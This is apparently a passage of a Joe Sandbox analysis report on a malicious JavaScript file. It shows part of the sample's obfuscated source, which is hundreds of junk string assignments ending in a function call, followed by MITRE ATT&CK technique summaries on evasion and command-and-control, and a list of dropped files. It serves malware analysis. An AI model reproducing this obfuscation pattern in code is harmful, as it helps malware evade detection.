1198	oqqwgs = "W";
1199	oqqwgs = "z";
1200	oqqwgs = "b";
1201	oqqwgs = "I";
1202	oqqwgs = "H";
1203	oqqwgs = "P";
1204	oqqwgs = "y";
1205	oqqwgs = "T";
1206	oqqwgs = "Q";
1207	oqqwgs = "t";
1208	oqqwgs = "o";
1209	oqqwgs = "G";
1210	oqqwgs = "R";
1211	oqqwgs = "y";
1212	oqqwgs = "s";
1213	oqqwgs = "d";
1214	oqqwgs = "&";
1215	wonyqmsx = "B";
1216	wonyqmsx = "z";
1217	wonyqmsx = "Z";
1218	wonyqmsx = "C";
1219	wonyqmsx = "W";
1220	wonyqmsx = "b";
1221	wonyqmsx = "b";
1222	wonyqmsx = "U";
1223	wonyqmsx = "y";
1224	wonyqmsx = "o";
1225	wonyqmsx = "i";
1226	wonyqmsx = "G";
1227	wonyqmsx = "F";
1228	wonyqmsx = "F";
1229	wonyqmsx = "g";
1230	wonyqmsx = "W";
1231	wonyqmsx = "X";
1232	wonyqmsx = "K";
1233	wonyqmsx = "s";
1234	wonyqmsx = "X";
1235	wonyqmsx = "B";
1236	wonyqmsx = "Q";
1237	wonyqmsx = "q";
1238	wonyqmsx = "a";
1239	wonyqmsx = "x";
1240	wonyqmsx = "Y";
1241	wonyqmsx = "X";
1242	wonyqmsx = "O";
1243	wonyqmsx = "O";
1244	wonyqmsx = "h";
1245	wonyqmsx = "H";
1246	wonyqmsx = "o";
1247	wonyqmsx = "f";
1248	wonyqmsx = "Q";
1249	wonyqmsx = "B";
1250	wonyqmsx = "l";
1251	wonyqmsx = "k";
1252	wonyqmsx = "t";
1253	zxwusbwlb = "V";
1254	zxwusbwlb = "K";
1255	zxwusbwlb = "c";
1256	zxwusbwlb = "o";
1257	zxwusbwlb = "D";
1258	zxwusbwlb = "V";
1259	zxwusbwlb = "G";
1260	zxwusbwlb = "v";
1261	zxwusbwlb = "a";
1262	zxwusbwlb = "F";
1263	zxwusbwlb = "a";
1264	zxwusbwlb = "K";
1265	zxwusbwlb = "u";
1266	zxwusbwlb = "O";
1267	zxwusbwlb = "a";
1268	zxwusbwlb = "S";
1269	zxwusbwlb = "n";
1270	zxwusbwlb = "y";
1271	zxwusbwlb = "x";
1272	zxwusbwlb = "h";
1273	zxwusbwlb = "L";
1274	zxwusbwlb = "Y";
1275	zxwusbwlb = "l";
1276	zxwusbwlb = "f";
1277	zxwusbwlb = "d";
1278	zxwusbwlb = "P";
1279	zxwusbwlb = "L";
1280	zxwusbwlb = "O";
1281	zxwusbwlb = "A";
1282	zxwusbwlb = "Z";
1283	zxwusbwlb = "K";
1284	zxwusbwlb = "B";
1285	zxwusbwlb = "J";
1286	zxwusbwlb = "S";
1287	zxwusbwlb = "l";
1288	zxwusbwlb = "O";
1289	zxwusbwlb = "O";
1290	vnjhhcxmc = "Y";
1291	vnjhhcxmc = "j";
1292	vnjhhcxmc = "O";
1293	vnjhhcxmc = "Y";
1294	vnjhhcxmc = "y";
1295	vnjhhcxmc = "T";
1296	vnjhhcxmc = "c";
1297	vnjhhcxmc = "I";
1298	vnjhhcxmc = "N";
1299	vnjhhcxmc = "Z";
1300	vnjhhcxmc = "w";
1301	vnjhhcxmc = "g";
1302	vnjhhcxmc = "a";
1303	vnjhhcxmc = "f";
1304	vnjhhcxmc = "j";
1305	vnjhhcxmc = "o";
1306	vnjhhcxmc = "U";
1307	vnjhhcxmc = "w";
1308	vnjhhcxmc = "Y";
1309	vnjhhcxmc = "R";
1310	vnjhhcxmc = "a";
1311	vnjhhcxmc = "V";
1312	vnjhhcxmc = "J";
1313	vnjhhcxmc = "l";
1314	vnjhhcxmc = "a";
1315	vnjhhcxmc = "p";
1316	vnjhhcxmc = "d";
1317	vnjhhcxmc = "R";
1318	vnjhhcxmc = "H";
1319	vnjhhcxmc = "z";
1320	vnjhhcxmc = "S";
1321	vnjhhcxmc = "X";
1322	vnjhhcxmc = "a";
1323	vnjhhcxmc = "j";
1324	vnjhhcxmc = "Q";
1325	vnjhhcxmc = "f";
1326	vnjhhcxmc = "e";
1327	vnjhhcxmc = "G";
1328	vnjhhcxmc = "h";
1329	vnjhhcxmc = "p";
1330	vnjhhcxmc = "g";
1331	vnjhhcxmc = "i";
1332	vnjhhcxmc = "W";
1333	ihholqk = "m";
1334	ihholqk = "x";
1335	ihholqk = "f";
1336	ihholqk = "J";
1337	ihholqk = "E";
1338	ihholqk = "e";
1339	ihholqk = "t";
1340	ihholqk = "c";
1341	ihholqk = "h";
1342	ihholqk = "g";
1343	ihholqk = "E";
1344	ihholqk = "G";
1345	ihholqk = "D";
1346	ihholqk = "t";
1347	ihholqk = "u";
1348	ihholqk = "A";
1349	ihholqk = "B";
1350	ihholqk = "V";
1351	ihholqk = "Y";
1352	ihholqk = "J";
1353	ihholqk = "M";
1354	ihholqk = "B";
1355	ihholqk = "R";
1356	ihholqk = "U";
1357	ihholqk = "G";
1358	ihholqk = "N";
1359	ihholqk = "V";
1360	ihholqk = "E";
1361	ihholqk = "d";
1362	ihholqk = "v";
1363	ihholqk = "b";
1364	ihholqk = "X";
1365	ihholqk = "g";
1366	ihholqk = "N";
1367	xabflzyh = "t";
1368	xabflzyh = "d";
1369	xabflzyh = "B";
1370	xabflzyh = "V";
1371	xabflzyh = "j";
1372	xabflzyh = "h";
1373	xabflzyh = "R";
1374	xabflzyh = "W";
1375	xabflzyh = "X";
1376	xabflzyh = "u";
1377	xabflzyh = "b";
1378	xabflzyh = "p";
1379	xabflzyh = "T";
1380	xabflzyh = "B";
1381	xabflzyh = "i";
1382	xabflzyh = "n";
1383	xabflzyh = "X";
1384	xabflzyh = "T";
1385	xabflzyh = "F";
1386	xabflzyh = "d";
1387	xabflzyh = "X";
1388	xabflzyh = "Q";
1389	xabflzyh = "T";
1390	xabflzyh = "l";
1391	xabflzyh = "i";
1392	xabflzyh = "i";
1393	xabflzyh = "c";
1394	xabflzyh = "q";
1395	xabflzyh = "d";
1396	xabflzyh = "b";
1397	xabflzyh = "t";
1398	xabflzyh = "a";
1399	xabflzyh = "T";
1400	xabflzyh = "K";
1401	xabflzyh = "c";
1402	xabflzyh = "e";
1403	xabflzyh = "g";
1404	ctdmkicx = "S";
1405	ctdmkicx = "b";
1406	ctdmkicx = "J";
1407	ctdmkicx = "U";
1408	ctdmkicx = "i";
1409	ctdmkicx = "I";
1410	ctdmkicx = "o";
1411	ctdmkicx = "L";
1412	ctdmkicx = "o";
1413	zfbgb = "-";
1414	uuoars = "M";
1415	uuoars = "J";
1416	uuoars = "r";
1417	uuoars = "F";
1418	uuoars = "d";
1419	uuoars = "t";
1420	uuoars = "U";
1421	uuoars = "n";
1422	uuoars = "f";
1423	uuoars = "c";
1424	uuoars = "e";
1425	uuoars = "H";
1426	uuoars = "C";
1427	uuoars = "Q";
1428	uuoars = "U";
1429	uuoars = "i";
1430	uuoars = "F";
1431	uuoars = "o";
1432	uuoars = "j";
1433	uuoars = "c";
1434	uuoars = "b";
1435	uuoars = "k";
1436	uuoars = "Z";
1437	uuoars = "B";
1438	uuoars = "J";
1439	uuoars = "H";
1440	uuoars = "b";
1441	uuoars = "g";
1442	uuoars = "I";
1443	uuoars = "X";
1444	uuoars = "F";
1445	uuoars = "b";
1446	uuoars = "g";
1447	uuoars = "z";
1448	uuoars = "p";
1449	uuoars = "x";
1450	uuoars = "C";
1451	uuoars = "v";
1452	uuoars = "q";
1453	uuoars = "P";
1454	uuoars = "C";
1455	wysmohmv = "g";
1456	wysmohmv = "t";
1457	wysmohmv = "u";
1458	wysmohmv = "r";
1459	wysmohmv = "K";
1460	wysmohmv = "b";
1461	wysmohmv = "T";
1462	wysmohmv = "F";
1463	wysmohmv = "P";
1464	wysmohmv = "g";
1465	wysmohmv = "Y";
1466	wysmohmv = "K";
1467	wysmohmv = "u";
1468	lbaspsrsk = "Q";
1469	lbaspsrsk = "q";
1470	lbaspsrsk = "d";
1471	lbaspsrsk = "A";
1472	lbaspsrsk = "l";
1473	lbaspsrsk = "L";
1474	lbaspsrsk = "F";
1475	lbaspsrsk = "O";
1476	lbaspsrsk = "U";
1477	lbaspsrsk = "T";
1478	lbaspsrsk = "U";
1479	lbaspsrsk = "d";
1480	lbaspsrsk = "I";
1481	lbaspsrsk = "B";
1482	lbaspsrsk = "m";
1483	lbaspsrsk = "o";
1484	lbaspsrsk = "l";
1485	lbaspsrsk = "N";
1486	lbaspsrsk = "Y";
1487	lbaspsrsk = "P";
1488	lbaspsrsk = "b";
1489	ayftozkq = "r";
1490	ayftozkq = "p";
1491	ayftozkq = "M";
1492	ayftozkq = "C";
1493	ayftozkq = "R";
1494	ayftozkq = "C";
1495	ayftozkq = "z";
1496	ayftozkq = "h";
1497	ayftozkq = "j";
1498	ayftozkq = "v";
1499	ayftozkq = "U";
1500	ayftozkq = "\\";
1501	jfyqtlqh = "d";
1502	jfyqtlqh = "X";
1503	jfyqtlqh = "j";
1504	jfyqtlqh = "a";
1505	jfyqtlqh = "U";
1506	jfyqtlqh = "T";
1507	jfyqtlqh = "p";
1508	jfyqtlqh = "c";
1509	jfyqtlqh = "R";
1510	jfyqtlqh = "e";
1511	jfyqtlqh = "W";
1512	jfyqtlqh = "s";
1513	jfyqtlqh = "g";
1514	jfyqtlqh = "Z";
1515	jfyqtlqh = "n";
1516	jfyqtlqh = "z";
1517	jfyqtlqh = "g";
1518	jfyqtlqh = "Q";
1519	jfyqtlqh = "k";
1520	jfyqtlqh = "D";
1521	jfyqtlqh = "T";
1522	jfyqtlqh = "C";
1523	jfyqtlqh = "%";
1524	fzkehsjse = "y";
1525	fzkehsjse = "T";
1526	fzkehsjse = "x";
1527	fzkehsjse = "a";
1528	fzkehsjse = "X";
1529	fzkehsjse = "M";
1530	fzkehsjse = "D";
1531	fzkehsjse = "D";
1532	fzkehsjse = "p";
1533	fzkehsjse = "e";
1534	fzkehsjse = "K";
1535	fzkehsjse = "x";
1536	fzkehsjse = "B";
1537	fzkehsjse = "e";
1538	fzkehsjse = "e";
1539	fzkehsjse = "a";
1540	fzkehsjse = "i";
1541	fzkehsjse = "Q";
1542	fzkehsjse = "E";
1543	fzkehsjse = "j";
1544	fzkehsjse = "Y";
1545	fzkehsjse = "r";
1546	fzkehsjse = "Y";
1547	fzkehsjse = "i";
1548	fzkehsjse = "V";
1549	fzkehsjse = "C";
1550	fzkehsjse = "i";
1551	fzkehsjse = "e";
1552	fzkehsjse = "e";
1553	fzkehsjse = "t";
1554	fzkehsjse = "i";
1555	fzkehsjse = "v";
1556	fzkehsjse = "b";
1557	fzkehsjse = "f";
1558	fzkehsjse = "e";
1559	fzkehsjse = "v";
1560	fzkehsjse = "m";
1561	fzkehsjse = "H";
1562	fzkehsjse = "i";
1563	fzkehsjse = "T";
1564	fzkehsjse = "V";
1565	fzkehsjse = "o";
1566	fzkehsjse = "B";
1567	fzkehsjse = "h";
1568	dhrdjydwk = "k";
1569	dhrdjydwk = "g";
1570	dhrdjydwk = "f";
1571	dhrdjydwk = "I";
1572	dhrdjydwk = "D";
1573	dhrdjydwk = "L";
1574	dhrdjydwk = "q";
1575	dhrdjydwk = "P";
1576	dhrdjydwk = "c";
1577	dhrdjydwk = "I";
1578	dhrdjydwk = "r";
1579	dhrdjydwk = "G";
1580	dhrdjydwk = "w";
1581	dhrdjydwk = "l";
1582	dhrdjydwk = "X";
1583	dhrdjydwk = "N";
1584	dhrdjydwk = "K";
1585	dhrdjydwk = "b";
1586	dhrdjydwk = "t";
1587	dhrdjydwk = "n";
1588	dhrdjydwk = "X";
1589	dhrdjydwk = "a";
1590	dhrdjydwk = "5";
1591	qvbzyxyw = "z";
1592	qvbzyxyw = "c";
1593	qvbzyxyw = "L";
1594	qvbzyxyw = "R";
1595	qvbzyxyw = "z";
1596	qvbzyxyw = "q";
1597	qvbzyxyw = "f";
1598	qvbzyxyw = "j";
1599	qvbzyxyw = "J";
1600	qvbzyxyw = "S";
1601	qvbzyxyw = "a";
1602	qvbzyxyw = "Y";
1603	qvbzyxyw = "r";
1604	qvbzyxyw = "n";
1605	qvbzyxyw = "v";
1606	qvbzyxyw = "E";
1607	qvbzyxyw = "S";
1608	qvbzyxyw = "B";
1609	qvbzyxyw = "M";
1610	qvbzyxyw = "f";
1611	qvbzyxyw = "y";
1612	qvbzyxyw = "a";
1613	qvbzyxyw = "R";
1614	qvbzyxyw = "f";
1615	qvbzyxyw = "Y";
1616	qvbzyxyw = "V";
1617	qvbzyxyw = "n";
1618	qvbzyxyw = "e";
1619	qvbzyxyw = "H";
1620	qvbzyxyw = "C";
1621	qvbzyxyw = "q";
1622	qvbzyxyw = "l";
1623	qvbzyxyw = "v";
1624	qvbzyxyw = "s";
1625	gxddatazi = "u";
1626	gxddatazi = "h";
1627	gxddatazi = "N";
1628	gxddatazi = "s";
1629	gxddatazi = "d";
1630	gxddatazi = "n";
1631	gxddatazi = "B";
1632	gxddatazi = "i";
1633	gxddatazi = "k";
1634	gxddatazi = "c";
1635	gxddatazi = "r";
1636	gxddatazi = "w";
1637	gxddatazi = "k";
1638	gxddatazi = "c";
1639	gxddatazi = "f";
1640	gxddatazi = "H";
1641	gxddatazi = "a";
1642	gxddatazi = "z";
1643	gxddatazi = "G";
1644	gxddatazi = "J";
1645	gxddatazi = "D";
1646	gxddatazi = "H";
1647	gxddatazi = "e";
1648	gxddatazi = "G";
1649	gxddatazi = "V";
1650	gxddatazi = "O";
1651	gxddatazi = "z";
1652	gxddatazi = "w";
1653	gxddatazi = "J";
1654	gxddatazi = "S";
1655	gxddatazi = "b";
1656	gxddatazi = "g";
1657	gxddatazi = "d";
1658	kvkhg = "l";
1659	kvkhg = "l";
1660	kvkhg = "K";
1661	kvkhg = "U";
1662	kvkhg = "I";
1663	kvkhg = "h";
1664	kvkhg = "w";
1665	kvkhg = "S";
1666	kvkhg = "z";
1667	kvkhg = "G";
1668	kvkhg = "Z";
1669	kvkhg = "J";
1670	kvkhg = "G";
1671	kvkhg = "Z";
1672	kvkhg = "Q";
1673	kvkhg = "N";
1674	kvkhg = "R";
1675	kvkhg = "Y";
1676	kvkhg = "D";
1677	kvkhg = "X";
1678	kvkhg = "M";
1679	kvkhg = "K";
1680	kvkhg = "M";
1681	kvkhg = "q";
1682	kvkhg = "O";
1683	kvkhg = "N";
1684	kvkhg = "h";
1685	kvkhg = "R";
1686	kvkhg = "M";
1687	kvkhg = "S";
1688	kvkhg = "I";
1689	kvkhg = "P";
1690	kvkhg = "Z";
1691	kvkhg = ".";
1692	mjtso ( );	mjtso() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 293816234142143228.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47032f6c-d3cd-4d6a-a56c-5fe651c91ca7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\564b197d-d27d-4184-94ed-43fb460ad39f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF70591b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
293816234142143228.js